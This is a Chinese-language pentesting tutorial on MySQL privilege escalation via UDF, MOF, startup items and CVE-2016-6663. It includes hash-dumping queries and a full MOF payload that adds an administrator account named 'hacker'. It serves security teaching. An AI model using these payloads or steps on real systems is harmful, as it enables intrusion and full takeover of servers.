前言
在4月份组织的沙龙问题,由我负责的一个问题是数据库的如何提权。
我们在渗透过程中,当我们 getshell
一个网站之后,大多数情况下该 shell 的权限是非常低的,操作也十分有限,例如 www
权限。为了自己能够获取到更多的“战果”,所以就要利用相关提权操作,让自己原本的低权限(如只允许列目录)提权到高权限(拥有修改文件的能力),有助于我们继续往下渗透。提权的方式有很多种,下面就默认以 MySQL 数据库的提权进行概述。
数据库操作权限获取
在数据库提权前,我们需要拿到数据库的基本权限。
基本权限获取,无外乎如下几种方式获取:
- 手工SQL注入或SQLMap注入的
--sql-shell
- 3306(MySQL)、1433(SQLServer)等端口的弱口令
- 网站泄露的敏感文件,如数据库配置文件
- 针对相关的数据库爆出的CVE等
但是通过上述拿到的数据库用户操作权限大多会被管理员使用GRANT做了权限限制。该类用户的数据库权限无法对系统文件进行操作,所以是不可直接使用的,无特权的用户和有特权的用户对可读的文件进行读操作如下图示:
由上图可见相同设置的情况下,左边的非特权的数据库用户仍然无法读取文件内容,右边的特权用户则可以正常获取文件信息。所以,若您获得的数据库基本权限是特权用户,那么便可事半功倍。若获得的是普通用户权限,或站点存在 SQL 注入的管理员权限,目标 3306 端口也是可以访问,我们也可以通过读取用户表获取其它数据库用户的 hash 密码,然后进行爆破等操作拿到一个具有特权且可利用的账号。
MySQL 数据库用户名、主机、密码查询命令如下:
# MySQL <= 5.6 版本
mysql> select user,host,password from mysql.user;
# MySQL >= 5.7 版本
mysql > select user,host,authentication_string from mysql.user;
提权必备
在对数据库提权前,假设您已经获取到了一个高特权的数据库用户,账户 insert 和 delete 权限正常,以便创建和抛弃函数。
数据库提权,无非有如下几种方式:
- UDF提权
- MOF提权
- 启动项提权
- CVE-2016-6663
- CVE-2016-6664 等
在操作前,我们还需要检查数据库几项设置,以便于我们可以进一步提权操作。
1、首先查询数据库 secure_file_priv
是否有限制(该方法普通用户即可判断)。
mysql> select @@secure_file_priv;
+--------------------+
| @@secure_file_priv |
+--------------------+
| |
+--------------------+
1 row in set (0.00 sec)
对应参数说明如下:
Value | 说明 |
---|---|
NULL | 不允许导入或导出 |
/tmp或其它路径目录 | 只允许在 /tmp 或对应路径的目录导入导出 |
(空) | 不限制目录 |
在 MySQL 5.5 之前
secure_file_priv
默认是空,这个情况下可以向任意绝对路径写文件在 MySQL 5.5 之后
secure_file_priv
默认是 NULL,这个情况下不可以写文件
2、获取操作系统信息,以便为接下来的提权操作做相应准备(该方法普通用户即可判断)。
mysql> select @@version_compile_os, @@version_compile_machine;
+----------------------+---------------------------+
| @@version_compile_os | @@version_compile_machine |
+----------------------+---------------------------+
| Linux | x86_64 |
+----------------------+---------------------------+
1 row in set (0.00 sec)
上图可知 MySQL 所在系统为 Linux,系统为 64 位操作系统。
3、获取数据库的数据库根目录、数据目录、插件目录,为上传文件做准备(该方法普通用户即可判断)。
mysql> select @@basedir,@@datadir,@@plugin_dir;
+-------------------+------------------------+------------------------------+
| @@basedir | @@datadir | @@plugin_dir |
+-------------------+------------------------+------------------------------+
| /usr/local/mysql/ | /usr/local/mysql/data/ | /usr/local/mysql/lib/plugin/ |
+-------------------+------------------------+------------------------------+
1 row in set (0.00 sec)
4、系统没有对数据库进行降权。例如相关的数据库在系统中以低特权的用户守护运行(有些情况会以低特权的系统用户守护运行,如mysql 用户)。
由于尚还无法通过数据库执行系统命令查看数据库运行的进程及守护运行用户,所以此处在数据库中不好判断。若有其它方式如 webshell ,可以利用该 webshell 执行系统命令判断数据库是否被降权。
提权相关
在数据库提权中,不同的操作系统也存在着不同的提权方式。
UDF 提权
在实战渗透中,数据库的提权中该方式是使用的较多的一种方式,适合 Linux 与 Windows 操作系统,在对应权限皆具备后,该方法的成功率往往会很高。
手工上传 UDF 文件
- 如果 MySQL 版本 >= 5.1,UDF 的动态链接库文件必须放置在 MySQL 安装目录的
lib\plugin
文件夹下。 - 如果MySQL版本 < 5.1,UDF 的动态链接库文件在 Windows server 2003 下放置于
C:\windows\system32
目录,在 Windows server 2000 下放置在C:\winnt\system32
目录。
若 Windows 环境下不存在相关目录,可借助NTFS流创建文件夹
具体的实际操作或说明可查看个人的相关的文章。
UDF Shell
该方法适用于目标数据库的特权用户无远程登录的权限、相应数据库的端口未放开或数据库在内网,无法远程操作。但对应的 WEB 站点有 Webshell 权限。
UDF(PHP)页面
若网站存在 Webshell,在得知站点的绝对路径后,那么我们可以写一个 udf.php
页面。我们可以借助吐司的相关文件:
上述文件写入站点相关目录进行操作即可
Navicat tunnel 隧道
该方法对目标 MySQL 不允许外连(只能内部或内网连接),相关站点存在 Webshell 或相关文件上传漏洞。此时可写入或上传一个 tunnel 隧道脚本到目标网站的对应目录下。然后访问:
然后使用 Navicat 设置 HTTP 隧道连接:
在常规项中只需要将主机填为 localhost
即可:
此时即可操控数据库相关命令进行手工 UDF 提权。
MOF
MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 或 Windows XP 的环境下才可以成功。
其原理是 C:/Windows/system32/wbem/mof/
目录下的 mof 文件每隔一段时间(约 5 秒)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令。
MOF.mof
脚本命令如下:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"ping www.isisy.com\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
上述 mof 文件的核心命令如下:
var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"ping www.isisy.com\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")
脚本中执行命令的内容可自行定义修改,然后使用MySQL手工写文件将mof文件写出对应目录下。
过一段时间,若文件执行成功,则该文件 MOF.mof
会在 C:/Windows/system32/wbem/good
目录下,若执行失败,则 MOF.mof
文件会在 C:/Windows/system32/wbem/bad
目录下。
判断文件是否执行成功即读取一下 C:/Windows/system32/wbem/good/MOF.mof
,是否有数据返回。
目前该漏洞的利用价值已不大。
启动项提权
顾名思义,即将文件写入到系统启动项配置中,常见于 Windows 环境,在 MySQL 将自定义文件写到系统启动项中,该文件会在用户登录、开机、关机的时候自动执行。Win 的启动项脚本支持 vbs 与 exe 形式,相关系统的启动项路径如下:
Windows Server 2003 的启动项路径:
- 中文系统:
C:\Documents and Settings\Administrator\「开始」菜单\程序\启动
C:\Documents and Settings\All Users\「开始」菜单\程序\启动
- 英文系统:
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
- 开关机项(需要自己建立对应文件夹):
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Startup
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Shutdown
Windows Server 2008 的启动项路径:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
为何不在 Linux 下写启动项提权?
在 Linux 系统下写启动项提权,会涉及到文件权限问题,如 Linux 下的启动项文件 /etc/rc.d/rc.local
,若数据库未进行降权操作,则导出文件时会因为该文件存在而提示失败。又或者写文件到对应的启动等级目录下,如 /etc/rc3.d/
,此时导出的文件权限等级无可执行权限,故还需要命令授予执行权限,但此刻我们无法通过数据库执行命令,且 Linux 系统绝大多数情况下“一次开机,永久运行”,重启的概率相比 Windows 低太多(Windows 可蓝屏一下被迫重启,hhh),故该方法不可行。
CVE-2016-6663
原理:MySQL 以及其衍生版本在执行修复表( repair table xxx)业务时会产生一个临时文件 xxx.TMD,赋予 xxx.TMD 一个 mysql user 权限的 SUID,由于 MySQL 的数据文件夹是可控的,如在赋予权限之前替换掉 TMD 文件(例如 /bin/bash),就可以获得 mysql-suid 交互式 shell 。从 Web 权限提升到 mysql user 权限。
- MySQL <= 5.5.51,<= 5.6.32,<= 5.7.14,< 8.0.1
- MariaDB <= 5.5.51,<= 10.0.27,<= 10.1.17
该操作提权的 shell 为数据库用户权限,提升至 root 还需配合 CVE-2016-6662 与 CVE-2016-6664 等漏洞,可参考如下文章: